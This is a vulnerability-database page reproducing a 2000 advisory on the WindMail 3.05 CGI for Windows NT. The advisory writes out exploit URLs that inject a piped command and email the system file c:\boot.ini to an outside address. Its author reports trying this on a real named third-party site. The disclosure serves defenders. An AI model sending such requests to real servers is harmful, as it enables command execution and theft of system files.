Lucene search
winmail305.txt
Vulnerabilities in WindMail CGI allow arbitrary command execution on Windows NT 4.0 systems.
Show more
`I found some vulnerabilities if windmail run as a CGI
application.tested On WindowsNT 4.0, Windmail 3.05
successfully.
WindMail is a 32-bit Windows console program by geocel that
gives you command-line e-mail messaging capability.
You can download an evaluation copy of WindMail 3.0 at:
http://www.geocel.com/download/wmail301e.exe
WindMail has a feature that allow Mail HTML form results
from CGI scripts
I found windmail doesn't check either attachment file or
special character for parameters, that allow you execute
arbitrary command which web user can do:
http://xx.com/cgi-bin/WINDMAIL.EXE?%20-n%20c:\boot.ini%
[email protected]%20|%20dir%20c:\
After the request, windmail will send c:\boot.ini to
[email protected] and execute "dir c:\" command.
For example:
http://www.metro.net/cgi-bin/windmail.exe?-n%20c:\boot.ini%
[email protected]
After a while, check [email protected], i got a copy of
boot.ini from www.metro.net
[email protected]
http://www.cnns.net
`
Transform Your Security Services
Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.
Book a live demo29 Mar 2000 00:00Current
7.4High risk
Vulners AI Score7.4